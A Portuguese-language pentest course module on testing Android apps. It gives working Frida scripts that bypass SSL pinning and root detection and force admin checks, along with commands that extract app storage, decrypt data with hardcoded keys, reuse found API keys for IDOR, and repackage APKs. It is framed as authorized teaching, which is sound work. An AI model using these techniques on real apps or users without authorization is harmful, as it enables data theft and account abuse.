MÓDULO 16 — MOBILE HACKING (Android: fluxo completo de teste de APK com Frida)

App no dispositivo do usuário (que VOCÊ controla no teste)
  → intercepta tudo (tráfego, storage, memória)
  → o "cliente" não é confiável: qualquer segredo no app é extraível
  → o servidor precisa se proteger de um cliente hostil

M1 Credenciais/senhas fracas de autenticação (lado servidor)
M2 Falha em criptografia (algoritmos fracos, chaves hardcoded)
M3 Proteção insuficiente de dados em trânsito (sem TLS, sem pinning)
M4 Autenticação/autorização inseguras (IDOR na API, tokens fracos)
M5 Controle criptográfico insuficiente (storage inseguro)
M6 Comunicação insegura
M7 Engenharia reversa fraca (root detection/emulador facilmente bypassados)
M8 Código adulterável (repackaging fácil)
M9 Dados em excesso (coleta desnecessária — LGPD!)
M10 Lógica de negócio insegura (flows abusáveis)

app.apk (ZIP)
├── AndroidManifest.xml   ← permissões, componentes, configurações (COMPILADO — precisa decodificar)
├── classes.dex          ← o código executável (Dalvik/ART) — precisa decompilar
├── res/                 ← recursos (layouts, strings, imagens)
├── assets/              ← arquivos do app (às vezes com segredos!)
├── lib/                 ← bibliotecas nativas (.so — análise difícil)
└── META-INF/            ← assinatura (a chave do repackaging)

1. O que o app PODE fazer?      → manifesto (permissões, componentes exportados)
2. O que o app GUARDA?          → storage, SharedPreferences, SQLite, assets
3. O que o app CONVERSA?        → endpoints de API, keys, certificados, pinning

Kali (192.168.56.101)  ← ferramentas: jadx, apktool, frida, mobsf, burp
Android Emulator (AVD rooted, 10.0.2.2 = host)  ← app de teste
     │
     └── Burp no Kali (proxy) ← app aponta para o proxy (via emulador)

# Opção A — Android Studio AVD (recomendado):
# 1. Instale: sudo apt install android-sdk (ou Android Studio completo)
# 2. Crie um AVD com uma imagem "Google APIs" (já permite adb root)
sdkmanager "system-images;android-33;google_apis;x86_64"
avdmanager create avd -n test_pixel -k "system-images;android-33;google_apis;x86_64" --device pixel_6
# 3. Inicie:
emulator -avd test_pixel -no-snapshot -no-boot-anim

# Opção B — Genymotion (fácil, gratuito para uso pessoal) — já vem rooted

# Verificar ADB e root:
adb devices                 # lista dispositivos
adb root                    # reinicia o adbd como root (imagens Google APIs)
adb shell whoami            # → root
adb shell getprop ro.debuggable

adb install app-debug.apk
# ou para substituir mantendo dados:
adb install -r app-debug.apk

# No Kali (instale o que faltar):
sudo apt install adb apktool jadx  # (jadx pode ser manual: github skylot/jadx)
# frida (client) + ferramentas:
pipx install frida-tools objection
# MobSF (opcional, análise automática — Docker):
docker pull ghcr.io/mobsf/mobsf && docker run -p 8000:8000 ghcr.io/mobsf/mobsf
# Drozer (agente no emulador + console no Kali) — para atacar componentes expostos

# a) Do seu próprio aparelho (se você tem o app instalado):
adb shell pm list packages | grep -i nome          # achar o pacote
adb shell pm path com.empresa.app                  # caminho do APK
adb pull /data/app/com.empresa.app-xxx/base.apk app.apk

# b) De um dispositivo/emulador com o app instalado:
#    (mesmo comando acima)

# c) De lojas alternativas (somente apps SEUS ou do escopo!):
#    APKMirror, APKPure — para obter APKs de apps que você testa
#    ⚠️ Baixar de terceiros = risco de APK adulterado; para pentest,
#    prefira extrair do dispositivo oficial ou pedir o APK ao cliente

# d) Do Play Store via ferramentas (apkeep):
apkeep -a com.empresa.app

# Decodificar recursos e manifesto:
apktool d app.apk -o app_apktool
# O manifesto decodificado fica em:
cat app_apktool/AndroidManifest.xml

<!-- 1. Permissões EXCESSIVAS (o app pode fazer demais?) -->
<uses-permission android:name="android.permission.SMS"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>

<!-- 2. Componentes EXPORTADOS sem proteção (outros apps podem invocar) -->
<activity android:name=".LoginActivity" android:exported="true"/>
<provider android:name=".DataProvider" android:exported="true"/>
<service android:name=".SyncService" android:exported="true"/>

<!-- 3. Flags de segurança -->
android:debuggable="true"        <!-- app em modo debug em produção = problema -->
android:allowBackup="true"       <!-- backup do app extraível via adb (dados!) -->
android:usesCleartextTraffic="true"  <!-- HTTP em claro permitido! -->

<!-- 4. Network Security Config (permite HTTP? pinning?) -->
android:networkSecurityConfig="@xml/network_security_config"

# Decompilar o DEX para código Java:
jadx -d app_jadx app.apk
# Resultado: app_jadx/sources/com/empresa/app/... (código legível)

# 1. Strings suspeitas (API keys, tokens, URLs, senhas):
grep -rniE "api[_-]?key|secret|token|password|senha|AKIA|sk-|Bearer" app_jadx/sources/
# 2. Endpoints (a superfície de API):
grep -rhoE "https?://[a-zA-Z0-9./_-]+" app_jadx/sources/ | sort -u
# 3. Chaves de criptografia:
grep -rniE "AES|DES|RSA|secretKey|keyStore|IV|Cipher" app_jadx/sources/
# 4. Referências a storage:
grep -rniE "SharedPreferences|SQLite|getWritableDatabase|FileOutputStream|MODE_PRIVATE" app_jadx/sources/
# 5. Strings em resources e assets:
grep -rniE "senha|password|secret|key" app_apktool/res/values/strings.xml
ls -la app_apktool/assets/   # arquivos escondidos no assets!

- API key hardcoded em código/strings.xml → usar direto na API (ex.: Google Maps, AWS)
- Endpoint de admin ou staging esquecido → superfície extra
- Chave AES hardcoded → descriptografar dados locais
- Token de push/firebase → enviar notificações falsas
- Credenciais de teste → acesso a backend

// app_jadx/sources/com/empresa/app/Config.java
public class Config {
    public static final String API_BASE = "https://api.empresa.com/v2/";
    public static final String API_KEY = "sk_live_4f8a1b2c3d4e5f6a7b8c9d0e"; // ← ACHADO!
    public static final String ENCRYPTION_KEY = "MinhaChaveSecreta123";        // ← ACHADO!
}

# 1. Burp no Kali: Proxy → 0.0.0.0:8080 (Módulo 8.2)
# 2. No emulador, aponte o proxy para o host:
adb shell settings put global http_proxy 10.0.2.2:8080
#    (10.0.2.2 = o host visto de dentro do emulador AVD)
# 3. Instale a CA do Burp no Android:
#    - Exporte a CA (der) no Burp
#    - Converta para .cer e instale como certificado de usuário:
#      (Settings → Security → Install from storage)
#    - Para apps que só aceitam CA de sistema (root):
#      adb root && adb remount
#      openssl x509 -inform DER -in cacert.der -out cacert.pem
#      HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1)
#      adb push cacert.pem /system/etc/security/cacerts/$HASH.0
#      adb shell chmod 644 /system/etc/security/cacerts/$HASH.0
# 4. Abra o app → as requisições aparecem no Burp HTTP History

- Todos os endpoints da API (mapeie com o Site Map)
- Parâmetros: tokens, IDs de usuário (IDOR — Módulo 8), campos sensíveis
- Headers de auth: como o token é enviado? (Bearer? fixo? fraco?)
- Dados em claro (se usesCleartextTraffic=true → HTTP puro)
- Respostas: dados vazados desnecessariamente (LGPD)

# 1. No Kali (host):
pipx install frida-tools
frida --version        # anote a versão (ex.: 16.x)

# 2. No dispositivo: baixe o frida-server da MESMA versão
#    https://github.com/frida/frida/releases → frida-server-<versão>-android-x86_64.xz
#    (x86_64 para emulador; arm64 para celular real)

# 3. Empurre e rode no device:
adb push frida-server /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"

# 4. Testar (do Kali):
frida-ps -U          # lista processos no device (U = USB)

frida-ps -U                            # processos (ache o pacote do app)
frida-trace -U -i "open" com.empresa.app    # rastrear chamadas a open()
frida -U com.empresa.app                # console interativo (Frida REPL)

# hook_exemplo.py — rode com: frida -U -l hook_exemplo.py com.empresa.app
import frida
import sys

def on_message(message, data):
    print(message)

js = """
Java.perform(function () {
    console.log("[*] Hook instalado");

    // Hook de um método de uma classe
    var Classe = Java.use("com.empresa.app.Config");
    Classe.getApiKey.implementation = function () {
        console.log("[*] getApiKey() foi chamada!");
        var ret = this.getApiKey();
        console.log("[*] Valor real: " + ret);
        return ret;   // ou: return "CHAVE_FALSA"; para manipular
    };

    // Hook de uma classe anônima/método sobrecarregado:
    var Cipher = Java.use("javax.crypto.Cipher");
    Cipher.doFinal.overload('[B').implementation = function (data) {
        console.log("[*] doFinal chamado, dados: " + bytesToHex(data));
        return this.doFinal(data);
    };
});
"""

session = frida.get_usb_device().attach("com.empresa.app")
script = session.create_script(js)
script.on("message", on_message)
script.load()
sys.stdin.read()

1. Ache a classe/método no jadx (ex.: Config.getApiKey())
2. Hook com Java.use("...") + .implementation
3. Leia argumentos/retorno → dados que o app usa em runtime
4. Modifique o retorno → burlar a lógica do app

// ssl_pinning_bypass.js — rode com: frida -U -l ssl_pinning_bypass.js com.empresa.app
Java.perform(function () {
    console.log("[*] Bypass de SSL pinning");

    // Método 1 — TrustManager (o bypass mais comum)
    var TrustManager = Java.registerClass({
        name: "com.empresa.TrustAll",
        implements: [Java.use("javax.net.ssl.X509TrustManager")],
        methods: {
            checkClientTrusted: function (chain, authType) {},
            checkServerTrusted: function (chain, authType) {},
            getAcceptedIssuers: function () { return []; }
        }
    });
    var SSLContext = Java.use("javax.net.ssl.SSLContext");
    SSLContext.init.overload(
        '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;',
        'java.security.SecureRandom'
    ).implementation = function (km, tm, sr) {
        this.init(km, [TrustManager.$new()], sr);
    };

    // Método 2 — OkHttp (o mais usado em apps modernos)
    var OkHttpClient = Java.use("okhttp3.OkHttpClient");
    OkHttpClient.newCall.implementation = function (request) {
        console.log("[*] Requisição: " + request.url().toString());
        return this.newCall(request);
    };
    // (burlar a CertificatePinner, se existir:)
    var CertificatePinner = Java.use("okhttp3.CertificatePinner");
    CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function (h, p) {
        console.log("[*] CertificatePinner ignorado para " + h);
    };
});

# objection automatiza o bypass de pinning e muito mais:
objection -g com.empresa.app explore
# dentro do console:
android sslpinning disable        # bypass de pinning (OkHttp/TrustManager)
android root disable              # bypass de root detection
android hooking list activities   # lista activities
android hooking search classes "password"

// root_bypass.js
Java.perform(function () {
    console.log("[*] Bypass de root detection");

    // Hook no File (as checagens de /system/xbin/su, /system/app/Superuser.apk...)
    var File = Java.use("java.io.File");
    File.exists.implementation = function () {
        var path = this.getAbsolutePath();
        if (path.indexOf("su") !== -1 || path.indexOf("Superuser") !== -1 ||
            path.indexOf("magisk") !== -1) {
            console.log("[*] Bloqueando checagem de: " + path);
            return false;
        }
        return this.exists();
    };

    // Hook no Runtime.exec (checagens que rodam "which su")
    var Runtime = Java.use("java.lang.Runtime");
    Runtime.exec.overload('java.lang.String').implementation = function (cmd) {
        console.log("[*] exec: " + cmd);
        if (cmd.indexOf("su") !== -1) throw new Error("bloqueado");
        return this.exec(cmd);
    };

    // Se o app usa SafetyNet/Play Integrity: hook no resultado
    // (técnicas mais avançadas — depois do básico)
});

# 1. Dados do app no device (precisa de root para tudo):
adb root
adb shell "find /data/data/com.empresa.app -type f" | head -50

# 2. SharedPreferences (o esconderijo nº 1):
adb shell "cat /data/data/com.empresa.app/shared_prefs/*.xml"

# 3. Bancos SQLite (o esconderijo nº 2):
adb shell "ls /data/data/com.empresa.app/databases/"
adb shell "sqlite3 /data/data/com.empresa.app/databases/app.db '.tables'"
adb pull /data/data/com.empresa.app/databases/app.db .
sqlite3 app.db "SELECT * FROM usuarios;"

# 4. Arquivos em claro (o esconderijo nº 3):
adb shell "ls -la /data/data/com.empresa.app/files/"
adb pull /data/data/com.empresa.app/files/ .

# 5. Cache e logs (o esconderijo nº 4):
adb shell "ls /data/data/com.empresa.app/cache/"
adb logcat | grep -i "token|password|key"    # logs com dados!

- Token de sessão/API em SharedPreferences (em claro)
- Senhas/CPF em SQLite (em claro ou com chave hardcoded)
- Backups do app extraíveis (allowBackup=true) → dados mesmo sem root:
  adb backup -f backup.ab com.empresa.app   (depois: java -jar abe.jar unpack)
- Logcat vazando tokens de OAuth

# descriptografar.py — usando a chave encontrada na análise estática
from Crypto.Cipher import AES
import base64

chave = b"MinhaChaveSecreta123"          # do jadx (ACHADO)
dados = base64.b64decode("c2VjcmV0bw==") # do SQLite (ACHADO)

cipher = AES.new(chave, AES.MODE_ECB)    # (ECB é outra falha para reportar)
print(cipher.decrypt(dados))

# Chave encontrada no código → usar na API do cliente (se no escopo):
curl -H "X-API-Key: sk_live_4f8a..." https://api.empresa.com/v2/usuarios
curl -H "Authorization: Bearer <token_do_storage>" https://api.empresa.com/v2/meus-dados
# → IDOR (Módulo 8): trocar o ID e acessar dados de OUTROS usuários

// Exemplo: o app só mostra "admin" se isAdmin() == true
Java.perform(function () {
    var User = Java.use("com.empresa.app.model.User");
    User.isAdmin.implementation = function () {
        console.log("[*] isAdmin() forçado para true");
        return true;
    };
});

# 1. Modificar o smali (apktool decodificou em Passo 2):
sed -i 's/const/.../' app_apktool/smali/com/empresa/app/Config.smali
# 2. Recompilar:
apktool b app_apktool -o app_mod.apk
# 3. Assinar (apksigner):
keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000
apksigner sign --ks test.keystore --ks-pass pass:senha app_mod.apk
# 4. Instalar no emulador:
adb install app_mod.apk
# 5. Se o app roda normalmente → o app NÃO valida assinatura (falha M8 — código adulterável)

# Instalar o agente (drozer.apk) no emulador + console no Kali
drozer console connect
# Listar superfície de ataque:
run app.package.attacksurface com.empresa.app
# Explorar um provider exportado (SQL injection / acesso a dados):
run app.provider.query content://com.empresa.app.provider/usuarios
# Invocar activity exportada sem permissão:
run app.activity.start --component com.empresa.app com.empresa.app.LoginActivity

# Já baixado no 16.4; acesse http://localhost:8000
# Upload do APK → aguarde → relatório:
#   - Manifest issues (exported, backup, cleartext, debuggable)
#   - Code analysis (hardcoded secrets, crypto fraco, URLs)
#   - Binary analysis (libs nativas, assinatura)
# Use como TRIAGEM; confirme cada achado manualmente (Módulo 6 mentalidade)